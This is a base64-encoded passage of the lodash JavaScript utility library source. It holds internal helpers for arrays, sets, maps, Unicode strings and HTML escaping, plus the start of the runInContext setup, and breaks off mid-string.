ICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7Kn0gcGxhY2Vob2xkZXIgVGhlIHBsYWNlaG9sZGVyIHRvIHNlYXJjaCBmb3IuXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHBsYWNlaG9sZGVyIGNvdW50LlxuICAgKi9cbiAgZnVuY3Rpb24gY291bnRIb2xkZXJzKGFycmF5LCBwbGFjZWhvbGRlcikge1xuICAgIHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGgsXG4gICAgICAgIHJlc3VsdCA9IDA7XG5cbiAgICB3aGlsZSAobGVuZ3RoLS0pIHtcbiAgICAgIGlmIChhcnJheVtsZW5ndGhdID09PSBwbGFjZWhvbGRlcikge1xuICAgICAgICArK3Jlc3VsdDtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIHJlc3VsdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBVc2VkIGJ5IGBfLmRlYnVycmAgdG8gY29udmVydCBMYXRpbi0xIFN1cHBsZW1lbnQgYW5kIExhdGluIEV4dGVuZGVkLUFcbiAgICogbGV0dGVycyB0byBiYXNpYyBMYXRpbiBsZXR0ZXJzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gbGV0dGVyIFRoZSBtYXRjaGVkIGxldHRlciB0byBkZWJ1cnIuXG4gICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGRlYnVycmVkIGxldHRlci5cbiAgICovXG4gIHZhciBkZWJ1cnJMZXR0ZXIgPSBiYXNlUHJvcGVydHlPZihkZWJ1cnJlZExldHRlcnMpO1xuXG4gIC8qKlxuICAgKiBVc2VkIGJ5IGBfLmVzY2FwZWAgdG8gY29udmVydCBjaGFyYWN0ZXJzIHRvIEhUTUwgZW50aXRpZXMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBjaHIgVGhlIG1hdGNoZWQgY2hhcmFjdGVyIHRvIGVzY2FwZS5cbiAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgZXNjYXBlZCBjaGFyYWN0ZXIuXG4gICAqL1xuICB2YXIgZXNjYXBlSHRtbENoYXIgPSBiYXNlUHJvcGVydHlPZihodG1sRXNjYXBlcyk7XG5cbiAgLyoqXG4gICAqIFVzZWQgYnkgYF8udGVtcGxhdGVgIHRvIGVzY2FwZSBjaGFyYWN0ZXJzIGZvciBpbmNsdXNpb24gaW4gY29tcGlsZWQgc3RyaW5nIGxpdGVyYWxzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gY2hyIFRoZSBtYXRjaGVkIGNoYXJhY3RlciB0byBlc2NhcGUuXG4gICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGVzY2FwZWQgY2hhcmFjdGVyLlxuICAgKi9cbiAgZnVuY3Rpb24gZXNjYXBlU3RyaW5nQ2hhcihjaHIpIHtcbiAgICByZXR1cm4gJ1xcXFwnICsgc3RyaW5nRXNjYXBlc1tjaHJdO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldHMgdGhlIHZhbHVlIGF0IGBrZXlgIG9mIGBvYmplY3RgLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdF0gVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSBwcm9wZXJ0eSB0byBnZXQuXG4gICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBwcm9wZXJ0eSB2YWx1ZS5cbiAgICovXG4gIGZ1bmN0aW9uIGdldFZhbHVlKG9iamVjdCwga2V5KSB7XG4gICAgcmV0dXJuIG9iamVjdCA9PSBudWxsID8gdW5kZWZpbmVkIDogb2JqZWN0W2tleV07XG4gIH1cblxuICAvKipcbiAgICogQ2hlY2tzIGlmIGBzdHJpbmdgIGNvbnRhaW5zIFVuaWNvZGUgc3ltYm9scy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtzdHJpbmd9IHN0cmluZyBUaGUgc3RyaW5nIHRvIGluc3BlY3QuXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhIHN5bWJvbCBpcyBmb3VuZCwgZWxzZSBgZmFsc2VgLlxuICAgKi9cbiAgZnVuY3Rpb24gaGFzVW5pY29kZShzdHJpbmcpIHtcbiAgICByZXR1cm4gcmVIYXNVbmljb2RlLnRlc3Qoc3RyaW5nKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDaGVja3MgaWYgYHN0cmluZ2AgY29udGFpbnMgYSB3b3JkIGNvbXBvc2VkIG9mIFVuaWNvZGUgc3ltYm9scy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtzdHJpbmd9IHN0cmluZyBUaGUgc3RyaW5nIHRvIGluc3BlY3QuXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhIHdvcmQgaXMgZm91bmQsIGVsc2UgYGZhbHNlYC5cbiAgICovXG4gIGZ1bmN0aW9uIGhhc1VuaWNvZGVXb3JkKHN0cmluZykge1xuICAgIHJldHVybiByZUhhc1VuaWNvZGVXb3JkLnRlc3Qoc3RyaW5nKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDb252ZXJ0cyBgaXRlcmF0b3JgIHRvIGFuIGFycmF5LlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge09iamVjdH0gaXRlcmF0b3IgVGhlIGl0ZXJhdG9yIHRvIGNvbnZlcnQuXG4gICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgY29udmVydGVkIGFycmF5LlxuICAgKi9cbiAgZnVuY3Rpb24gaXRlcmF0b3JUb0FycmF5KGl0ZXJhdG9yKSB7XG4gICAgdmFyIGRhdGEsXG4gICAgICAgIHJlc3VsdCA9IFtdO1xuXG4gICAgd2hpbGUgKCEoZGF0YSA9IGl0ZXJhdG9yLm5leHQoKSkuZG9uZSkge1xuICAgICAgcmVzdWx0LnB1c2goZGF0YS52YWx1ZSk7XG4gICAgfVxuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogQ29udmVydHMgYG1hcGAgdG8gaXRzIGtleS12YWx1ZSBwYWlycy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtPYmplY3R9IG1hcCBUaGUgbWFwIHRvIGNvbnZlcnQuXG4gICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUga2V5LXZhbHVlIHBhaXJzLlxuICAgKi9cbiAgZnVuY3Rpb24gbWFwVG9BcnJheShtYXApIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgcmVzdWx0ID0gQXJyYXkobWFwLnNpemUpO1xuXG4gICAgbWFwLmZvckVhY2goZnVuY3Rpb24odmFsdWUsIGtleSkge1xuICAgICAgcmVzdWx0WysraW5kZXhdID0gW2tleSwgdmFsdWVdO1xuICAgIH0pO1xuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogQ3JlYXRlcyBhIHVuYXJ5IGZ1bmN0aW9uIHRoYXQgaW52b2tlcyBgZnVuY2Agd2l0aCBpdHMgYXJndW1lbnQgdHJhbnNmb3JtZWQuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHdyYXAuXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IHRyYW5zZm9ybSBUaGUgYXJndW1lbnQgdHJhbnNmb3JtLlxuICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICovXG4gIGZ1bmN0aW9uIG92ZXJBcmcoZnVuYywgdHJhbnNmb3JtKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKGFyZykge1xuICAgICAgcmV0dXJuIGZ1bmModHJhbnNmb3JtKGFyZykpO1xuICAgIH07XG4gIH1cblxuICAvKipcbiAgICogUmVwbGFjZXMgYWxsIGBwbGFjZWhvbGRlcmAgZWxlbWVudHMgaW4gYGFycmF5YCB3aXRoIGFuIGludGVybmFsIHBsYWNlaG9sZGVyXG4gICAqIGFuZCByZXR1cm5zIGFuIGFycmF5IG9mIHRoZWlyIGluZGV4ZXMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBtb2RpZnkuXG4gICAqIEBwYXJhbSB7Kn0gcGxhY2Vob2xkZXIgVGhlIHBsYWNlaG9sZGVyIHRvIHJlcGxhY2UuXG4gICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIHBsYWNlaG9sZGVyIGluZGV4ZXMuXG4gICAqL1xuICBmdW5jdGlvbiByZXBsYWNlSG9sZGVycyhhcnJheSwgcGxhY2Vob2xkZXIpIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgbGVuZ3RoID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICByZXNJbmRleCA9IDAsXG4gICAgICAgIHJlc3VsdCA9IFtdO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIHZhciB2YWx1ZSA9IGFycmF5W2luZGV4XTtcbiAgICAgIGlmICh2YWx1ZSA9PT0gcGxhY2Vob2xkZXIgfHwgdmFsdWUgPT09IFBMQUNFSE9MREVSKSB7XG4gICAgICAgIGFycmF5W2luZGV4XSA9IFBMQUNFSE9MREVSO1xuICAgICAgICByZXN1bHRbcmVzSW5kZXgrK10gPSBpbmRleDtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIHJlc3VsdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBDb252ZXJ0cyBgc2V0YCB0byBhbiBhcnJheSBvZiBpdHMgdmFsdWVzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge09iamVjdH0gc2V0IFRoZSBzZXQgdG8gY29udmVydC5cbiAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSB2YWx1ZXMuXG4gICAqL1xuICBmdW5jdGlvbiBzZXRUb0FycmF5KHNldCkge1xuICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICByZXN1bHQgPSBBcnJheShzZXQuc2l6ZSk7XG5cbiAgICBzZXQuZm9yRWFjaChmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgcmVzdWx0WysraW5kZXhdID0gdmFsdWU7XG4gICAgfSk7XG4gICAgcmV0dXJuIHJlc3VsdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBDb252ZXJ0cyBgc2V0YCB0byBpdHMgdmFsdWUtdmFsdWUgcGFpcnMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBzZXQgVGhlIHNldCB0byBjb252ZXJ0LlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHZhbHVlLXZhbHVlIHBhaXJzLlxuICAgKi9cbiAgZnVuY3Rpb24gc2V0VG9QYWlycyhzZXQpIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgcmVzdWx0ID0gQXJyYXkoc2V0LnNpemUpO1xuXG4gICAgc2V0LmZvckVhY2goZnVuY3Rpb24odmFsdWUpIHtcbiAgICAgIHJlc3VsdFsrK2luZGV4XSA9IFt2YWx1ZSwgdmFsdWVdO1xuICAgIH0pO1xuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLmluZGV4T2ZgIHdoaWNoIHBlcmZvcm1zIHN0cmljdCBlcXVhbGl0eVxuICAgKiBjb21wYXJpc29ucyBvZiB2YWx1ZXMsIGkuZS4gYD09PWAuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBzZWFyY2ggZm9yLlxuICAgKiBAcGFyYW0ge251bWJlcn0gZnJvbUluZGV4IFRoZSBpbmRleCB0byBzZWFyY2ggZnJvbS5cbiAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgaW5kZXggb2YgdGhlIG1hdGNoZWQgdmFsdWUsIGVsc2UgYC0xYC5cbiAgICovXG4gIGZ1bmN0aW9uIHN0cmljdEluZGV4T2YoYXJyYXksIHZhbHVlLCBmcm9tSW5kZXgpIHtcbiAgICB2YXIgaW5kZXggPSBmcm9tSW5kZXggLSAxLFxuICAgICAgICBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG5cbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgaWYgKGFycmF5W2luZGV4XSA9PT0gdmFsdWUpIHtcbiAgICAgICAgcmV0dXJuIGluZGV4O1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gLTE7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLmxhc3RJbmRleE9mYCB3aGljaCBwZXJmb3JtcyBzdHJpY3QgZXF1YWxpdHlcbiAgICogY29tcGFyaXNvbnMgb2YgdmFsdWVzLCBpLmUuIGA9PT1gLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2VhcmNoIGZvci5cbiAgICogQHBhcmFtIHtudW1iZXJ9IGZyb21JbmRleCBUaGUgaW5kZXggdG8gc2VhcmNoIGZyb20uXG4gICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAqL1xuICBmdW5jdGlvbiBzdHJpY3RMYXN0SW5kZXhPZihhcnJheSwgdmFsdWUsIGZyb21JbmRleCkge1xuICAgIHZhciBpbmRleCA9IGZyb21JbmRleCArIDE7XG4gICAgd2hpbGUgKGluZGV4LS0pIHtcbiAgICAgIGlmIChhcnJheVtpbmRleF0gPT09IHZhbHVlKSB7XG4gICAgICAgIHJldHVybiBpbmRleDtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGluZGV4O1xuICB9XG5cbiAgLyoqXG4gICAqIEdldHMgdGhlIG51bWJlciBvZiBzeW1ib2xzIGluIGBzdHJpbmdgLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gc3RyaW5nIFRoZSBzdHJpbmcgdG8gaW5zcGVjdC5cbiAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgc3RyaW5nIHNpemUuXG4gICAqL1xuICBmdW5jdGlvbiBzdHJpbmdTaXplKHN0cmluZykge1xuICAgIHJldHVybiBoYXNVbmljb2RlKHN0cmluZylcbiAgICAgID8gdW5pY29kZVNpemUoc3RyaW5nKVxuICAgICAgOiBhc2NpaVNpemUoc3RyaW5nKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDb252ZXJ0cyBgc3RyaW5nYCB0byBhbiBhcnJheS5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtzdHJpbmd9IHN0cmluZyBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgY29udmVydGVkIGFycmF5LlxuICAgKi9cbiAgZnVuY3Rpb24gc3RyaW5nVG9BcnJheShzdHJpbmcpIHtcbiAgICByZXR1cm4gaGFzVW5pY29kZShzdHJpbmcpXG4gICAgICA/IHVuaWNvZGVUb0FycmF5KHN0cmluZylcbiAgICAgIDogYXNjaWlUb0FycmF5KHN0cmluZyk7XG4gIH1cblxuICAvKipcbiAgICogVXNlZCBieSBgXy50cmltYCBhbmQgYF8udHJpbUVuZGAgdG8gZ2V0IHRoZSBpbmRleCBvZiB0aGUgbGFzdCBub24td2hpdGVzcGFjZVxuICAgKiBjaGFyYWN0ZXIgb2YgYHN0cmluZ2AuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBzdHJpbmcgVGhlIHN0cmluZyB0byBpbnNwZWN0LlxuICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBpbmRleCBvZiB0aGUgbGFzdCBub24td2hpdGVzcGFjZSBjaGFyYWN0ZXIuXG4gICAqL1xuICBmdW5jdGlvbiB0cmltbWVkRW5kSW5kZXgoc3RyaW5nKSB7XG4gICAgdmFyIGluZGV4ID0gc3RyaW5nLmxlbmd0aDtcblxuICAgIHdoaWxlIChpbmRleC0tICYmIHJlV2hpdGVzcGFjZS50ZXN0KHN0cmluZy5jaGFyQXQoaW5kZXgpKSkge31cbiAgICByZXR1cm4gaW5kZXg7XG4gIH1cblxuICAvKipcbiAgICogVXNlZCBieSBgXy51bmVzY2FwZWAgdG8gY29udmVydCBIVE1MIGVudGl0aWVzIHRvIGNoYXJhY3RlcnMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBjaHIgVGhlIG1hdGNoZWQgY2hhcmFjdGVyIHRvIHVuZXNjYXBlLlxuICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB1bmVzY2FwZWQgY2hhcmFjdGVyLlxuICAgKi9cbiAgdmFyIHVuZXNjYXBlSHRtbENoYXIgPSBiYXNlUHJvcGVydHlPZihodG1sVW5lc2NhcGVzKTtcblxuICAvKipcbiAgICogR2V0cyB0aGUgc2l6ZSBvZiBhIFVuaWNvZGUgYHN0cmluZ2AuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7c3RyaW5nfSBzdHJpbmcgVGhlIHN0cmluZyBpbnNwZWN0LlxuICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBzdHJpbmcgc2l6ZS5cbiAgICovXG4gIGZ1bmN0aW9uIHVuaWNvZGVTaXplKHN0cmluZykge1xuICAgIHZhciByZXN1bHQgPSByZVVuaWNvZGUubGFzdEluZGV4ID0gMDtcbiAgICB3aGlsZSAocmVVbmljb2RlLnRlc3Qoc3RyaW5nKSkge1xuICAgICAgKytyZXN1bHQ7XG4gICAgfVxuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogQ29udmVydHMgYSBVbmljb2RlIGBzdHJpbmdgIHRvIGFuIGFycmF5LlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge3N0cmluZ30gc3RyaW5nIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgYXJyYXkuXG4gICAqL1xuICBmdW5jdGlvbiB1bmljb2RlVG9BcnJheShzdHJpbmcpIHtcbiAgICByZXR1cm4gc3RyaW5nLm1hdGNoKHJlVW5pY29kZSkgfHwgW107XG4gIH1cblxuICAvKipcbiAgICogU3BsaXRzIGEgVW5pY29kZSBgc3RyaW5nYCBpbnRvIGFuIGFycmF5IG9mIGl0cyB3b3Jkcy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtzdHJpbmd9IFRoZSBzdHJpbmcgdG8gaW5zcGVjdC5cbiAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSB3b3JkcyBvZiBgc3RyaW5nYC5cbiAgICovXG4gIGZ1bmN0aW9uIHVuaWNvZGVXb3JkcyhzdHJpbmcpIHtcbiAgICByZXR1cm4gc3RyaW5nLm1hdGNoKHJlVW5pY29kZVdvcmQpIHx8IFtdO1xuICB9XG5cbiAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgLyoqXG4gICAqIENyZWF0ZSBhIG5ldyBwcmlzdGluZSBgbG9kYXNoYCBmdW5jdGlvbiB1c2luZyB0aGUgYGNvbnRleHRgIG9iamVjdC5cbiAgICpcbiAgICogQHN0YXRpY1xuICAgKiBAbWVtYmVyT2YgX1xuICAgKiBAc2luY2UgMS4xLjBcbiAgICogQGNhdGVnb3J5IFV0aWxcbiAgICogQHBhcmFtIHtPYmplY3R9IFtjb250ZXh0PXJvb3RdIFRoZSBjb250ZXh0IG9iamVjdC5cbiAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIGEgbmV3IGBsb2Rhc2hgIGZ1bmN0aW9uLlxuICAgKiBAZXhhbXBsZVxuICAgKlxuICAgKiBfLm1peGluKHsgJ2Zvbyc6IF8uY29uc3RhbnQoJ2ZvbycpIH0pO1xuICAgKlxuICAgKiB2YXIgbG9kYXNoID0gXy5ydW5JbkNvbnRleHQoKTtcbiAgICogbG9kYXNoLm1peGluKHsgJ2Jhcic6IGxvZGFzaC5jb25zdGFudCgnYmFyJykgfSk7XG4gICAqXG4gICAqIF8uaXNGdW5jdGlvbihfLmZvbyk7XG4gICAqIC8vID0+IHRydWVcbiAgICogXy5pc0Z1bmN0aW9uKF8uYmFyKTtcbiAgICogLy8gPT4gZmFsc2VcbiAgICpcbiAgICogbG9kYXNoLmlzRnVuY3Rpb24obG9kYXNoLmZvbyk7XG4gICAqIC8vID0+IGZhbHNlXG4gICAqIGxvZGFzaC5pc0Z1bmN0aW9uKGxvZGFzaC5iYXIpO1xuICAgKiAvLyA9PiB0cnVlXG4gICAqXG4gICAqIC8vIENyZWF0ZSBhIHN1cGVkLXVwIGBkZWZlcmAgaW4gTm9kZS5qcy5cbiAgICogdmFyIGRlZmVyID0gXy5ydW5JbkNvbnRleHQoeyAnc2V0VGltZW91dCc6IHNldEltbWVkaWF0ZSB9KS5kZWZlcjtcbiAgICovXG4gIHZhciBydW5JbkNvbnRleHQgPSAoZnVuY3Rpb24gcnVuSW5Db250ZXh0KGNvbnRleHQpIHtcbiAgICBjb250ZXh0ID0gY29udGV4dCA9PSBudWxsID8gcm9vdCA6IF8uZGVmYXVsdHMocm9vdC5PYmplY3QoKSwgY29udGV4dCwgXy5waWNrKHJvb3QsIGNvbnRleHRQcm9wcykpO1xuXG4gICAgLyoqIEJ1aWx0LWluIGNvbnN0cnVjdG9yIHJlZmVyZW5jZXMuICovXG4gICAgdmFyIEFycmF5ID0gY29udGV4dC5BcnJheSxcbiAgICAgICAgRGF0ZSA9IGNvbnRleHQuRGF0ZSxcbiAgICAgICAgRXJyb3IgPSBjb250ZXh0LkVycm9yLFxuICAgICAgICBGdW5jdGlvbiA9IGNvbnRleHQuRnVuY3Rpb24sXG4gICAgICAgIE1hdGggPSBjb250ZXh0Lk1hdGgsXG4gICAgICAgIE9iamVjdCA9IGNvbnRleHQuT2JqZWN0LFxuICAgICAgICBSZWdFeHAgPSBjb250ZXh0LlJlZ0V4cCxcbiAgICAgICAgU3RyaW5nID0gY29udGV4dC5TdHJpbmcsXG4gICAgICAgIFR5cGVFcnJvciA9IGNvbnRleHQuVHlwZUVycm9yO1xuXG4gICAgLyoqIFVzZWQgZm9yIGJ1aWx0LWluIG1ldGhvZCByZWZlcmVuY2VzLiAqL1xuICAgIHZhciBhcnJheVByb3RvID0gQXJyYXkucHJvdG90eXBlLFxuICAgICAgICBmdW5jUHJvdG8gPSBGdW5jdGlvbi5wcm90b3R5cGUsXG4gICAgICAgIG9iamVjdFByb3RvID0gT2JqZWN0LnByb3RvdHlwZTtcblxuICAgIC8qKiBVc2VkIHRvIGRldGVjdCBvdmVycmVhY2hpbmcgY29yZS1qcyBzaGltcy4gKi9cbiAgICB2YXIgY29yZUpzRGF0YSA9IGNvbnRleHRbJ19fY29yZS1qc19zaGFyZWRfXyddO1xuXG4gICAgLyoqIFVzZWQgdG8gcmVzb2x2ZSB0aGUgZGVjb21waWxlZCBzb3VyY2Ugb2YgZnVuY3Rpb25zLiAqL1xuICAgIHZhciBmdW5jVG9TdHJpbmcgPSBmdW5jUHJvdG8udG9TdHJpbmc7XG5cbiAgICAvKiogVXNlZCB0byBjaGVjayBvYmplY3RzIGZvciBvd24gcHJvcGVydGllcy4gKi9cbiAgICB2YXIgaGFzT3duUHJvcGVydHkgPSBvYmplY3RQcm90by5oYXNPd25Qcm9wZXJ0eTtcblxuICAgIC8qKiBVc2VkIHRvIGdlbmVyYXRlIHVuaXF1ZSBJRHMuICovXG4gICAgdmFyIGlkQ291bnRlciA9IDA7XG5cbiAgICAvKiogVXNlZCB0byBkZXRlY3QgbWV0aG9kcyBtYXNxdWVyYWRpbmcgYXMgbmF0aXZlLiAqL1xuICAgIHZhciBtYXNrU3JjS2V5ID0gKGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIHVpZCA9IC9bXi5dKyQvLmV4ZWMoY29yZUpzRGF0YSAmJiBjb3JlSnNEYXRhLmtleXMgJiYgY29yZUpzRGF0YS5rZXlzLklFX1BST1RPIHx8ICcnKTtcbiAgICAgIHJldHVybiB1aWQgPyAoJ1N5bWJvbChzcmMpXzEuJyArIHVpZCkgOiAnJztcbiAgICB9KCkpO1xuXG4gICAgLyoqXG4gICAgICogVXNlZCB0byByZXNvbHZlIHRoZVxuICAgICAqIFtgdG9TdHJpbmdUYWdgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3QucHJvdG90eXBlLnRvc3RyaW5nKVxuICAgICAqIG9mIHZhbHVlcy5cbiAgICAgKi9cbiAgICB2YXIgbmF0aXZlT2JqZWN0VG9TdHJpbmcgPSBvYmplY3RQcm90by50b1N0cmluZztcblxuICAgIC8qKiBVc2VkIHRvIGluZmVyIHRoZSBgT2JqZWN0YCBjb25zdHJ1Y3Rvci4gKi9cbiAgICB2YXIgb2JqZWN0Q3RvclN0cmluZyA9IGZ1bmNUb1N0cmluZy5jYWxsKE9iamVjdCk7XG5cbiAgICAvKiogVXNlZCB0byByZXN0b3JlIHRoZSBvcmlnaW5hbCBgX2AgcmVmZXJlbmNlIGluIGBfLm5vQ29uZmxpY3RgLiAqL1xuICAgIHZhciBvbGREYXNoID0gcm9vdC5fO1xuXG4gICAgLyoqIFVzZWQgdG8gZGV0ZWN0IGlmIGEgbWV0aG9kIGlzIG5hdGl2ZS4gKi9cbiAgICB2YXIgcmVJc05hdGl2ZSA9IFJlZ0V4cCgnXicgK1xuICAgICAgZnVuY1RvU3RyaW5nLmNhbGwoaGFzT3duUHJvcGVydHkpLnJlcGxhY2UocmVSZWdFeHBDaGFyLCAnXFxcXCQmJylcbiAgICAgIC5yZXBsYWNlKC9oYXNPd25Qcm9wZXJ0eXwoZnVuY3Rpb24pLio/KD89XFxcXFxcKCl8IGZvciAuKz8oPz1cXFxcXFxdKS9nLCAnJDEuKj8nKSArICckJ1xuICAgICk7XG5cbiAgICAvKiogQnVpbHQtaW4gdmFsdWUgcmVmZXJlbmNlcy4gKi9cbiAgICB2YXIgQnVmZmVyID0gbW9kdWxlRXhwb3J0cyA/IGNvbnRleHQuQnVmZmVyIDogdW5kZWZpbmVkLFxuICAgICAgICBTeW1ib2wgPSBjb250ZXh0LlN5bWJvbCxcbiAgICAgICAgVWludDhBcnJheSA9IGNvbnRleHQuVWludDhBcnJheSxcbiAgICAgICAgYWxsb2NVbnNhZmUgPSBCdWZmZXIgPyBCdWZmZXIuYWxsb2NVbnNhZmUgOiB1bmRlZmluZWQsXG4gICAgICAgIGdldFByb3RvdHlwZSA9IG92ZXJBcmcoT2JqZWN0LmdldFByb3RvdHlwZU9mLCBPYmplY3QpLFxuICAgICAgICBvYmplY3RDcmVhdGUgPSBPYmplY3QuY3JlYXRlLFxuICAgICAgICBwcm9wZXJ0eUlzRW51bWVyYWJsZSA9IG9iamVjdFByb3RvLnByb3BlcnR5SXNFbnVtZXJhYmxlLFxuICAgICAgICBzcGxpY2UgPSBhcnJheVByb3RvLnNwbGljZSxcbiAgICAgICAgc3ByZWFkYWJsZVN5bWJvbCA9IFN5bWJvbCA/IFN5bWJvbC5pc0NvbmNhdFNwcmVhZGFibGUgOiB1bmRlZmluZWQsXG4gICAgICAgIHN5bUl0ZXJhdG9yID0gU3ltYm9sID8gU3ltYm9sLml0ZXJhdG9yIDogdW5kZWZpbmVkLFxuICAgICAgICBzeW1Ub1N0cmluZ1RhZyA9IFN5bWJvbCA/IFN5bWJvbC50b1N0cmluZ1RhZyA6IHVuZGVmaW5lZDtcblxuICAgIHZhciBkZWZpbmVQcm9wZXJ0eSA9IChmdW5jdGlvbigpIHtcbiAgICAgIHRyeSB7XG4gICAgICAgIHZhciBmdW5jID0gZ2V0TmF0aXZlKE9iamVjdCwgJ2RlZmluZVByb3BlcnR5Jyk7XG4gICAgICAgIGZ1bmMoe30sICcn